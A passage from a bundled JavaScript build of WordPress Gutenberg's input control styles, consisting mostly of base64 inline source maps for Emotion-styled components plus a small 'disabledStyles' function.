W5lclByb3BzID0ge1xuXHRkaXNhYmxlZD86IGJvb2xlYW47XG5cdGhpZGVMYWJlbD86IGJvb2xlYW47XG5cdF9fdW5zdGFibGVJbnB1dFdpZHRoPzogQ1NTUHJvcGVydGllc1sgJ3dpZHRoJyBdO1xuXHRsYWJlbFBvc2l0aW9uPzogTGFiZWxQb3NpdGlvbjtcbn07XG5cbmV4cG9ydCBjb25zdCBQcmVmaXggPSBzdHlsZWQuc3BhbmBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0ZGlzcGxheTogYmxvY2s7XG5gO1xuXG5leHBvcnQgY29uc3QgU3VmZml4ID0gc3R5bGVkLnNwYW5gXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGFsaWduLXNlbGY6IHN0cmV0Y2g7XG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGRpc3BsYXk6IGZsZXg7XG5gO1xuXG50eXBlIEJhY2tkcm9wUHJvcHMgPSB7XG5cdGRpc2FibGVkPzogYm9vbGVhbjtcblx0aXNCb3JkZXJsZXNzPzogYm9vbGVhbjtcbn07XG5cbmNvbnN0IGJhY2tkcm9wQm9yZGVyQ29sb3IgPSAoIHtcblx0ZGlzYWJsZWQsXG5cdGlzQm9yZGVybGVzcyxcbn06IEJhY2tkcm9wUHJvcHMgKTogQ1NTUHJvcGVydGllc1sgJ2JvcmRlckNvbG9yJyBdID0+IHtcblx0aWYgKCBpc0JvcmRlcmxlc3MgKSB7XG5cdFx0cmV0dXJuICd0cmFuc3BhcmVudCc7XG5cdH1cblxuXHRpZiAoIGRpc2FibGVkICkge1xuXHRcdHJldHVybiBDT0xPUlMudWkuYm9yZGVyRGlzYWJsZWQ7XG5cdH1cblxuXHRyZXR1cm4gQ09MT1JTLnVpLmJvcmRlcjtcbn07XG5cbmV4cG9ydCBjb25zdCBCYWNrZHJvcFVJID0gc3R5bGVkLmRpdjwgQmFja2Ryb3BQcm9wcyA+YFxuXHQmJiYge1xuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0Ym9yZGVyLWNvbG9yOiAkeyBiYWNrZHJvcEJvcmRlckNvbG9yIH07XG5cdFx0Ym9yZGVyLXJhZGl1czogaW5oZXJpdDtcblx0XHRib3JkZXItc3R5bGU6IHNvbGlkO1xuXHRcdGJvcmRlci13aWR0aDogMXB4O1xuXHRcdGJvdHRvbTogMDtcblx0XHRsZWZ0OiAwO1xuXHRcdG1hcmdpbjogMDtcblx0XHRwYWRkaW5nOiAwO1xuXHRcdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRyaWdodDogMDtcblx0XHR0b3A6IDA7XG5cblx0XHQkeyBydGwoIHsgcGFkZGluZ0xlZnQ6IDIgfSApIH1cblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IFJvb3QgPSBzdHlsZWQoIEZsZXggKWBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblx0cGFkZGluZy10b3A6IDA7XG5cblx0Ly8gRm9jdXMgd2l0aGluLCBleGNsdWRpbmcgY2FzZXMgd2hlcmUgYXV4aWxpYXJ5IGNvbnRyb2xzIGluIHByZWZpeCBvciBzdWZmaXggaGF2ZSBmb2N1cy5cblx0Jjpmb2N1cy13aXRoaW46bm90KCA6aGFzKCA6aXMoICR7IFByZWZpeCB9LCAkeyBTdWZmaXggfSApOmZvY3VzLXdpdGhpbiApICkge1xuXHRcdCR7IEJhY2tkcm9wVUkgfSB7XG5cdFx0XHRib3JkZXItY29sb3I6ICR7IENPTE9SUy51aS5ib3JkZXJGb2N1cyB9O1xuXHRcdFx0Ym94LXNoYWRvdzogJHsgQ09ORklHLmNvbnRyb2xCb3hTaGFkb3dGb2N1cyB9O1xuXHRcdFx0Ly8gV2luZG93cyBIaWdoIENvbnRyYXN0IG1vZGUgd2lsbCBzaG93IHRoaXMgb3V0bGluZSwgYnV0IG5vdCB0aGUgYm94LXNoYWRvdy5cblx0XHRcdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0XHRcdG91dGxpbmUtb2Zmc2V0OiAtMnB4O1xuXHRcdH1cblx0fVxuYDtcblxuY29uc3QgY29udGFpbmVyRGlzYWJsZWRTdHlsZXMgPSAoIHsgZGlzYWJsZWQgfTogQ29udGFpbmVyUHJvcHMgKSA9PiB7XG5cdGNvbnN0IGJhY2tncm91bmRDb2xvciA9IGRpc2FibGVkXG5cdFx0PyBDT0xPUlMudWkuYmFja2dyb3VuZERpc2FibGVkXG5cdFx0OiBDT0xPUlMudWkuYmFja2dyb3VuZDtcblxuXHRyZXR1cm4gY3NzKCB7IGJhY2tncm91bmRDb2xvciB9ICk7XG59O1xuXG5jb25zdCBjb250YWluZXJXaWR0aFN0eWxlcyA9ICgge1xuXHRfX3Vuc3RhYmxlSW5wdXRXaWR0aCxcblx0bGFiZWxQb3NpdGlvbixcbn06IENvbnRhaW5lclByb3BzICkgPT4ge1xuXHRpZiAoICEgX191bnN0YWJsZUlucHV0V2lkdGggKSB7XG5cdFx0cmV0dXJuIGNzcyggeyB3aWR0aDogJzEwMCUnIH0gKTtcblx0fVxuXG5cdGlmICggbGFiZWxQb3NpdGlvbiA9PT0gJ3NpZGUnICkge1xuXHRcdHJldHVybiAnJztcblx0fVxuXG5cdGlmICggbGFiZWxQb3NpdGlvbiA9PT0gJ2VkZ2UnICkge1xuXHRcdHJldHVybiBjc3MoIHtcblx0XHRcdGZsZXg6IGAwIDAgJHsgX191bnN0YWJsZUlucHV0V2lkdGggfWAsXG5cdFx0fSApO1xuXHR9XG5cblx0cmV0dXJuIGNzcyggeyB3aWR0aDogX191bnN0YWJsZUlucHV0V2lkdGggfSApO1xufTtcblxuZXhwb3J0IGNvbnN0IENvbnRhaW5lciA9IHN0eWxlZC5kaXY8IENvbnRhaW5lclByb3BzID5gXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdGJvcmRlci1yYWRpdXM6IGluaGVyaXQ7XG5cdGRpc3BsYXk6IGZsZXg7XG5cdGZsZXg6IDE7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblxuXHQkeyBjb250YWluZXJEaXNhYmxlZFN0eWxlcyB9XG5cdCR7IGNvbnRhaW5lcldpZHRoU3R5bGVzIH1cbmA7XG5cbnR5cGUgSW5wdXRQcm9wcyA9IHtcblx0X19uZXh0NDBweERlZmF1bHRTaXplPzogYm9vbGVhbjtcblx0ZGlzYWJsZWQ/OiBib29sZWFuO1xuXHRpbnB1dFNpemU/OiBTaXplO1xuXHRpc0RyYWdnaW5nPzogYm9vbGVhbjtcblx0ZHJhZ0N1cnNvcj86IENTU1Byb3BlcnRpZXNbICdjdXJzb3InIF07XG5cdHBhZGRpbmdJbmxpbmVTdGFydD86IENTU1Byb3BlcnRpZXNbICdwYWRkaW5nSW5saW5lU3RhcnQnIF07XG5cdHBhZGRpbmdJbmxpbmVFbmQ/OiBDU1NQcm9wZXJ0aWVzWyAncGFkZGluZ0lubGluZUVuZCcgXTtcbn07XG5cbmNvbnN0IGRpc2FibGVkU3R5bGVzID0gKCB7IGRpc2FibGVkIH06IElucHV0UHJvcHMgKSA9PiB7XG5cdGlmICggISBkaXNhYmxlZCApIHtcblx0XHRyZXR1cm4gJyc7XG5cdH1cblxuXHRyZXR1cm4gY3NzKCB7XG5cdFx0Y29sb3I6IENPTE9SUy51aS50ZXh0RGlzYWJsZWQsXG5cdH0gKTtcbn07XG5cbmV4cG9ydCBjb25zdCBmb250U2l6ZVN0eWxlcyA9ICggeyBpbnB1dFNpemU6IHNpemUgfTogSW5wdXRQcm9wcyApID0+IHtcblx0Y29uc3Qgc2l6ZXMgPSB7XG5cdFx0ZGVmYXVsdDogJzEzcHgnLFxuXHRcdHNtYWxsOiAnMTFweCcsXG5cdFx0Y29tcGFjdDogJzEzcHgnLFxuXHRcdCdfX3Vuc3RhYmxlLWxhcmdlJzogJzEzcHgnLFxuXHR9O1xuXG5cdGNvbnN0IGZvbnRTaXplID0gc2l6ZXNbIHNpemUgYXMgU2l6ZSBdIHx8IHNpemVzLmRlZmF1bHQ7XG5cdGNvbnN0IGZvbnRTaXplTW9iaWxlID0gJzE2cHgnO1xuXG5cdGlmICggISBmb250U2l6ZSApIHtcblx0XHRyZXR1cm4gJyc7XG5cdH1cblxuXHRyZXR1cm4gY3NzYFxuXHRcdGZvbnQtc2l6ZTogJHsgZm9udFNpemVNb2JpbGUgfTtcblxuXHRcdEBtZWRpYSAoIG1pbi13aWR0aDogNjAwcHggKSB7XG5cdFx0XHRmb250LXNpemU6ICR7IGZvbnRTaXplIH07XG5cdFx0fVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IGdldFNpemVDb25maWcgPSAoIHtcblx0aW5wdXRTaXplOiBzaXplLFxuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG59OiBJbnB1dFByb3BzICkgPT4ge1xuXHQvLyBQYWRkaW5ncyBtYXkgYmUgb3ZlcnJpZGRlbiBieSB0aGUgY3VzdG9tIHBhZGRpbmdzIHByb3BzLlxuXHRjb25zdCBzaXplcyA9IHtcblx0XHRkZWZhdWx0OiB7XG5cdFx0XHRoZWlnaHQ6IDQwLFxuXHRcdFx0bGluZUhlaWdodDogMSxcblx0XHRcdG1pbkhlaWdodDogNDAsXG5cdFx0XHRwYWRkaW5nTGVmdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWCxcblx0XHRcdHBhZGRpbmdSaWdodDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWCxcblx0XHR9LFxuXHRcdHNtYWxsOiB7XG5cdFx0XHRoZWlnaHQ6IDI0LFxuXHRcdFx0bGluZUhlaWdodDogMSxcblx0XHRcdG1pbkhlaWdodDogMjQsXG5cdFx0XHRwYWRkaW5nTGVmdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWFNtYWxsLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0fSxcblx0XHRjb21wYWN0OiB7XG5cdFx0XHRoZWlnaHQ6IDMyLFxuXHRcdFx0bGluZUhlaWdodDogMSxcblx0XHRcdG1pbkhlaWdodDogMzIsXG5cdFx0XHRwYWRkaW5nTGVmdDogQ09ORklHLmNvbnRyb2xQYWRkaW5nWFNtYWxsLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYU21hbGwsXG5cdFx0fSxcblx0XHQnX191bnN0YWJsZS1sYXJnZSc6IHtcblx0XHRcdGhlaWdodDogNDAsXG5cdFx0XHRsaW5lSGVpZ2h0OiAxLFxuXHRcdFx0bWluSGVpZ2h0OiA0MCxcblx0XHRcdHBhZGRpbmdMZWZ0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdFx0cGFkZGluZ1JpZ2h0OiBDT05GSUcuY29udHJvbFBhZGRpbmdYLFxuXHRcdH0sXG5cdH07XG5cblx0aWYgKCAhIF9fbmV4dDQwcHhEZWZhdWx0U2l6ZSApIHtcblx0XHRzaXplcy5kZWZhdWx0ID0gc2l6ZXMuY29tcGFjdDtcblx0fVxuXG5cdHJldHVybiBzaXplc1sgc2l6ZSBhcyBTaXplIF0gfHwgc2l6ZXMuZGVmYXVsdDtcbn07XG5cbmNvbnN0IHNpemVTdHlsZXMgPSAoIHByb3BzOiBJbnB1dFByb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzKCBnZXRTaXplQ29uZmlnKCBwcm9wcyApICk7XG59O1xuXG5jb25zdCBjdXN0b21QYWRkaW5ncyA9ICgge1xuXHRwYWRkaW5nSW5saW5lU3RhcnQsXG5cdHBhZGRpbmdJbmxpbmVFbmQsXG59OiBJbnB1dFByb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzKCB7IHBhZGRpbmdJbmxpbmVTdGFydCwgcGFkZGluZ0lubGluZUVuZCB9ICk7XG59O1xuXG5jb25zdCBkcmFnU3R5bGVzID0gKCB7IGlzRHJhZ2dpbmcsIGRyYWdDdXJzb3IgfTogSW5wdXRQcm9wcyApID0+IHtcblx0bGV0IGRlZmF1bHRBcnJvd1N0eWxlczogU2VyaWFsaXplZFN0eWxlcyB8IHVuZGVmaW5lZDtcblx0bGV0IGFjdGl2ZURyYWdDdXJzb3JTdHlsZXM6IFNlcmlhbGl6ZWRTdHlsZXMgfCB1bmRlZmluZWQ7XG5cblx0aWYgKCBpc0RyYWdnaW5nICkge1xuXHRcdGRlZmF1bHRBcnJvd1N0eWxlcyA9IGNzc2Bcblx0XHRcdGN1cnNvcjogJHsgZHJhZ0N1cnNvciB9O1xuXHRcdFx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cblx0XHRcdCY6Oi13ZWJraXQtb3V0ZXItc3Bpbi1idXR0b24sXG5cdFx0XHQmOjotd2Via2l0LWlubmVyLXNwaW4tYnV0dG9uIHtcblx0XHRcdFx0LXdlYmtpdC1hcHBlYXJhbmNlOiBub25lICFpbXBvcnRhbnQ7XG5cdFx0XHRcdG1hcmdpbjogMCAhaW1wb3J0YW50O1xuXHRcdFx0fVxuXHRcdGA7XG5cdH1cblxuXHRpZiAoIGlzRHJhZ2dpbmcgJiYgZHJhZ0N1cnNvciApIHtcblx0XHRhY3RpdmVEcmFnQ3Vyc29yU3R5bGVzID0gY3NzYFxuXHRcdFx0JjphY3RpdmUge1xuXHRcdFx0XHRjdXJzb3I6ICR7IGRyYWdDdXJzb3IgfTtcblx0XHRcdH1cblx0XHRgO1xuXHR9XG5cblx0cmV0dXJuIGNzc2Bcblx0XHQkeyBkZWZhdWx0QXJyb3dTdHlsZXMgfVxuXHRcdCR7IGFjdGl2ZURyYWdDdXJzb3JTdHlsZXMgfVxuXHRgO1xufTtcblxuLy8gVE9ETzogUmVzb2x2ZSBuZWVkIHRvIHVzZSAmJiYgdG8gaW5jcmVhc2Ugc3BlY2lmaWNpdHlcbi8vIGh0dHBzOi8vZ2l0aHViLmNvbS9Xb3JkUHJlc3MvZ3V0ZW5iZXJnL2lzc3Vlcy8xODQ4M1xuXG5leHBvcnQgY29uc3QgSW5wdXQgPSBzdHlsZWQuaW5wdXQ8IElucHV0UHJvcHMgPmBcblx0JiYmIHtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcblx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRcdGJvcmRlcjogbm9uZTtcblx0XHRib3gtc2hhZG93OiBub25lICFpbXBvcnRhbnQ7XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH07XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0Zm9udC1mYW1pbHk6IGluaGVyaXQ7XG5cdFx0bWFyZ2luOiAwO1xuXHRcdG91dGxpbmU6IG5vbmU7XG5cdFx0d2lkdGg6IDEwMCU7XG5cblx0XHQkeyBkcmFnU3R5bGVzIH1cblx0XHQkeyBkaXNhYmxlZFN0eWxlcyB9XG5cdFx0JHsgZm9udFNpemVTdHlsZXMgfVxuXHRcdCR7IHNpemVTdHlsZXMgfVxuXHRcdCR7IGN1c3RvbVBhZGRpbmdzIH1cblxuXHRcdCY6Oi13ZWJraXQtaW5wdXQtcGxhY2Vob2xkZXIge1xuXHRcdFx0Y29sb3I6ICR7IENPTE9SUy51aS5kYXJrR3JheVBsYWNlaG9sZGVyIH07XG5cdFx0fVxuXG5cdFx0Jjo6LW1vei1wbGFjZWhvbGRlciB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLmRhcmtHcmF5UGxhY2Vob2xkZXIgfTtcblx0XHR9XG5cblx0XHQmOi1tcy1pbnB1dC1wbGFjZWhvbGRlciB7XG5cdFx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLmRhcmtHcmF5UGxhY2Vob2xkZXIgfTtcblx0XHR9XG5cblx0XHQmW3R5cGU9J2VtYWlsJ10sXG5cdFx0Jlt0eXBlPSd1cmwnXSB7XG5cdFx0XHQvKiBydGw6aWdub3JlICovXG5cdFx0XHRkaXJlY3Rpb246IGx0cjtcblx0XHR9XG5cdH1cbmA7XG5cbmNvbnN0IEJhc2VMYWJlbCA9IHN0eWxlZCggVGV4dCApPCB7IGxhYmVsUG9zaXRpb24/OiBMYWJlbFBvc2l0aW9uIH0gPmBcblx0JiYmIHtcblx0XHQkeyBiYXNlTGFiZWxUeXBvZ3JhcGh5IH07XG5cblx0XHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdHBhZGRpbmctdG9wOiAwO1xuXHRcdHBhZGRpbmctYm90dG9tOiAwO1xuXHRcdG1heC13aWR0aDogMTAwJTtcblx0XHR6LWluZGV4OiAxO1xuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgTGFiZWwgPSAoXG5cdHByb3BzOiBXb3JkUHJlc3NDb21wb25lbnRQcm9wczxcblx0XHR7IGxhYmVsUG9zaXRpb24/OiBMYWJlbFBvc2l0aW9uOyBjaGlsZHJlbjogUmVhY3ROb2RlIH0sXG5cdFx0J2xhYmVsJyxcblx0XHRmYWxzZVxuXHQ+XG4pID0+IDxCYXNlTGFiZWwgeyAuLi5wcm9wcyB9IGFzPVwibGFiZWxcIiAvPjtcblxuZXhwb3J0IGNvbnN0IExhYmVsV3JhcHBlciA9IHN0eWxlZCggRmxleEl0ZW0gKWBcblx0bWF4LXdpZHRoOiBjYWxjKCAxMDAlIC0gMTBweCApO1xuYDtcblxuY29uc3QgcHJlZml4U3VmZml4V3JhcHBlclN0eWxlcyA9ICgge1xuXHR2YXJpYW50ID0gJ2RlZmF1bHQnLFxuXHRzaXplLFxuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG5cdGlzUHJlZml4LFxufTogUHJlZml4U3VmZml4V3JhcHBlclByb3BzICYgeyBpc1ByZWZpeD86IGJvb2xlYW4gfSApID0+IHtcblx0Y29uc3QgeyBwYWRkaW5nTGVmdDogcGFkZGluZyB9ID0gZ2V0U2l6ZUNvbmZpZygge1xuXHRcdGlucHV0U2l6ZTogc2l6ZSxcblx0XHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG5cdH0gKTtcblxuXHRjb25zdCBwYWRkaW5nUHJvcGVydHkgPSBpc1ByZWZpeFxuXHRcdD8gJ3BhZGRpbmdJbmxpbmVTdGFydCdcblx0XHQ6ICdwYWRkaW5nSW5saW5lRW5kJztcblxuXHRpZiAoIHZhcmlhbnQgPT09ICdkZWZhdWx0JyApIHtcblx0XHRyZXR1cm4gY3NzKCB7XG5cdFx0XHRbIHBhZGRpbmdQcm9wZXJ0eSBdOiBwYWRkaW5nLFxuXHRcdH0gKTtcblx0fVxuXG5cdC8vIElmIHZhcmlhbnQgaXMgJ2ljb24nIG9yICdjb250cm9sJ1xuXHRyZXR1cm4gY3NzKCB7XG5cdFx0ZGlzcGxheTogJ2ZsZXgnLFxuXHRcdFsgcGFkZGluZ1Byb3BlcnR5IF06IHBhZGRpbmcgLSA0LFxuXHR9ICk7XG59O1xuXG5leHBvcnQgY29uc3QgUHJlZml4U3VmZml4V3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdCR7IHByZWZpeFN1ZmZpeFdyYXBwZXJTdHlsZXMgfVxuYDtcbiJdfQ== */"));
24529 var disabledStyles = ({
24530 disabled
24531 }) => {
24532 if (!disabled) {
24533 return "";
24534 }
24535 return /* @__PURE__ */ css({
24536 color: COLORS.ui.textDisabled
24537 }, false ? "" : ";label:disabledStyles;", false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImlucHV0LWNvbnRyb2wtc3R5bGVzLnRzeCJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFzSlEiLCJmaWxlIjoiaW5wdXQtY29udHJvbC1zdHlsZXMudHN4Iiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHR5cGUgeyBTZXJpYWxpemVkU3R5bGVzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuaW1wb3J0IHR5cGUgeyBDU1NQcm9wZXJ0aWVzLCBSZWFjdE5vZGUgfSBmcm9tICdyZWFjdCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB0eXBlIHsgV29yZFByZXNzQ29tcG9uZW50UHJvcHMgfSBmcm9tICcuLi8uLi9jb250ZXh0JztcbmltcG9ydCB7IEZsZXgsIEZsZXhJdGVtIH0gZnJvbSAnLi4vLi4vZmxleCc7XG5pbXBvcnQgeyBUZXh0IH0gZnJvbSAnLi4vLi4vdGV4dCc7XG5pbXBvcnQgeyBiYXNlTGFiZWxUeXBvZ3JhcGh5LCBDT0xPUlMsIENPTkZJRywgcnRsIH0gZnJvbSAnLi4vLi4vdXRpbHMnO1xuaW1wb3J0IHR5cGUgeyBMYWJlbFBvc2l0aW9uLCBTaXplLCBQcmVmaXhTdWZmaXhXcmFwcGVyUHJvcHMgfSBmcm9tICcuLi90eXBlcyc7XG5cbnR5cGUgQ29udGFpbmVyUHJvcHMgPSB7XG5cdGRpc2FibGVkPzogYm9vbGVhbjtcblx0aGlkZUxhYmVsPzogYm9vbGVhbjtcblx0X191bnN0YWJsZUlucHV0V2lkdGg/OiBDU1NQcm9wZXJ0aWVzWyAnd2lkdGgnIF07XG5cdGxhYmVsUG9zaXRpb24/OiBMYWJlbFBvc2l0aW9uO1xufTtcblxuZXhwb3J0IGNvbnN0IFByZWZpeCA9IHN0eWxlZC5zcGFuYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRkaXNwbGF5OiBibG9jaztcbmA7XG5cbmV4cG9ydCBjb25zdCBTdWZmaXggPSBzdHlsZWQuc3BhbmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0YWxpZ24tc2VsZjogc3RyZXRjaDtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0ZGlzcGxheTogZmxleDtcbmA7XG5cbnR5cGUgQmFja2Ryb3BQcm9wcyA9IHtcblx0ZGlzYWJsZWQ/OiBib29sZWFuO1xuXHRpc0JvcmRlcmxlc3M/OiBib29sZWFuO1xufTtcblxuY29uc3QgYmFja2Ryb3BCb3JkZXJDb2xvciA9ICgge1xuXHRkaXNhYmxlZCxcblx0aXNCb3JkZXJsZXNzLFxufTogQmFja2Ryb3BQcm9wcyApOiBDU1NQcm9wZXJ0aWVzWyAnYm9yZGVyQ29sb3InIF0gPT4ge1xuXHRpZiAoIGlzQm9yZGVybGVzcyApIHtcblx0XHRyZXR1cm4gJ3RyYW5zcGFyZW50Jztcblx0fVxuXG5cdGlmICggZGlzYWJsZWQgKSB7XG5cdFx0cmV0dXJuIENPTE9SUy51aS5ib3JkZXJEaXNhYmxlZDtcblx0fVxuXG5cdHJldHVybiBDT0xPUlMudWkuYm9yZGVyO1xufTtcblxuZXhwb3J0IGNvbnN0IEJhY2tkcm9wVUkgPSBzdHlsZWQuZGl2PCBCYWNrZHJvcFByb3BzID5gXG5cdCYmJiB7XG5cdFx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0XHRib3JkZXItY29sb3I6ICR7IGJhY2tkcm9wQm9yZGVyQ29sb3IgfTtcblx0XHRib3JkZXItcmFkaXVzOiBpbmhlcml0O1xuXHRcdGJvcmRlci1zdHlsZTogc29saWQ7XG5cdFx0Ym9yZGVyLXdpZHRoOiAxcHg7XG5cdFx0Ym90dG9tOiAwO1xuXHRcdGxlZnQ6IDA7XG5cdFx0bWFyZ2luOiAwO1xuXHRcdHBhZGRpbmc6IDA7XG5cdFx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdHJpZ2h0OiAwO1xuXHRcdHRvcDogMDtcblxuXHRcdCR7IHJ0bCggeyBwYWRkaW5nTGVmdDogMiB9ICkgfVxuXHR9XG5gO1xuXG5leHBvcnQgY29uc3QgUm9vdCA9IHN0eWxlZCggRmxleCApYFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNTbWFsbCB9O1xuXHRwYWRkaW5nLXRvcDogMDtcblxuXHQvLyBGb2N1cyB3aXRoaW4sIGV4Y2x1ZGluZyBjYXNlcyB3aGVyZSBhdXhpbGlhcnkgY29udHJvbHMgaW4gcHJlZml4IG9yIHN1ZmZpeCBoYXZlIGZvY3VzLlxuXHQmOmZvY3VzLXdpdGhpbjpub3QoIDpoYXMoIDppcyggJHsgUHJlZml4IH0sICR7IFN1ZmZpeCB9ICk6Zm9jdXMtd2l0aGluICkgKSB7XG5cdFx0JHsgQmFja2Ryb3BVSSB9IHtcblx0XHRcdGJvcmRlci1jb2xvcjogJHsgQ09MT1JTLnVpLmJvcmRlckZvY3VzIH07XG5cdFx0XHRib3gtc2hhZG93OiAkeyBDT05GSUcuY29udHJvbEJveFNoYWRvd0ZvY3VzIH07XG5cdFx0XHQvLyBXaW5kb3dzIEhpZ2ggQ29udHJhc3QgbW9kZSB3aWxsIHNob3cgdGhpcyBvdXRsaW5lLCBidXQgbm90IHRoZSBib3gtc2hhZG93LlxuXHRcdFx0b3V0bGluZTogMnB4IHNvbGlkIHRyYW5zcGFyZW50O1xuXHRcdFx0b3V0bGluZS1vZmZzZXQ6IC0ycHg7XG5cdFx0fVxuXHR9XG5gO1xuXG5jb25zdCBjb250YWluZXJEaXNhYmxlZFN0eWxlcyA9ICggeyBkaXNhYmxlZCB9OiBDb250YWluZXJQcm9wcyApID0+IHtcblx0Y29uc3QgYmFja2dyb3VuZENvbG9yID0gZGlzYWJsZWRcblx0XHQ/IENPTE9SUy51aS5iYWNrZ3JvdW5kRGlzYWJsZWRcblx0XHQ6IENPTE9SUy51aS5iYWNrZ3JvdW5kO1xuXG5cdHJldHVybiBjc3MoIHsgYmFja2dyb3VuZENvbG9yIH0gKTtcbn07XG5cbmNvbnN0IGNvbnRhaW5lcldpZHRoU3R5bGVzID0gKCB7XG5cdF9fdW5zdGFibGVJbnB1dFdpZHRoLFxuXHRsYWJlbFBvc2l0aW9uLFxufTogQ29udGFpbmVyUHJvcHMgKSA9PiB7XG5cdGlmICggISBfX3Vuc3RhYmxlSW5wdXRXaWR0aCApIHtcblx0XHRyZXR1cm4gY3NzKCB7IHdpZHRoOiAnMTAwJScgfSApO1xuXHR9XG5cblx0aWYgKCBsYWJlbFBvc2l0aW9uID09PSAnc2lkZScgKSB7XG5cdFx0cmV0dXJuICcnO1xuXHR9XG5cblx0aWYgKCBsYWJlbFBvc2l0aW9uID09PSAnZWRnZScgKSB7XG5cdFx0cmV0dXJuIGNzcygge1xuXHRcdFx0ZmxleDogYDAgMCAkeyBfX3Vuc3RhYmxlSW5wdXRXaWR0aCB9YCxcblx0XHR9ICk7XG5cdH1cblxuXHRyZXR1cm4gY3NzKCB7IHdpZHRoOiBfX3Vuc3RhYmxlSW5wdXRXaWR0aCB9ICk7XG59O1xuXG5leHBvcnQgY29uc3QgQ29udGFpbmVyID0gc3R5bGVkLmRpdjwgQ29udGFpbmVyUHJvcHMgPmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0Ym9yZGVyLXJhZGl1czogaW5oZXJpdDtcblx0ZGlzcGxheTogZmxleDtcblx0ZmxleDogMTtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXG5cdCR7IGNvbnRhaW5lckRpc2FibGVkU3R5bGVzIH1cblx0JHsgY29udGFpbmVyV2lkdGhTdHlsZXMgfVxuYDtcblxudHlwZSBJbnB1dFByb3BzID0ge1xuXHRfX25leHQ0MHB4RGVmYXVsdFNpemU/OiBib29sZWFuO1xuXHRkaXNhYmxlZD86IGJvb2xlYW47XG5cdGlucHV0U2l6ZT86IFNpemU7XG5cdGlzRHJhZ2dpbmc/OiBib29sZWFuO1xuXHRkcmFnQ3Vyc29yPzogQ1NTUHJvcGVydGllc1sgJ2N1cnNvcicgXTtcblx0cGFkZGluZ0lubGluZVN0YXJ0PzogQ1NTUHJvcGVydGllc1sgJ3BhZGRpbmdJbmxpbmVTdGFydCcgXTtcblx0cGFkZGluZ0lubGluZUVuZD86IENTU1Byb3BlcnRpZXNbICdwYWRkaW5nSW5saW5lRW5kJyBdO1xufTtcblxuY29uc3QgZGlzYWJsZWRTdHlsZXMgPSAoIHsgZGlzYWJsZWQgfTogSW5wdXRQcm9wcyApID0+IHtcblx0aWYgKCAhIGRpc2FibGVkICkge1xuXHRcdHJldHVybiAnJztcblx0fVxuXG5cdHJldHVybiBjc3MoIHtcblx0XHRjb2xvcjogQ09MT1JTLnVpLnRleHREaXNhYmxlZCxcblx0fSApO1xufTtcblxuZXhwb3J0IGNvbnN0IGZvbnRTaXplU3R5bGVzID0gKCB7IGlucHV0U2l6ZTogc2l6ZSB9OiBJbnB1d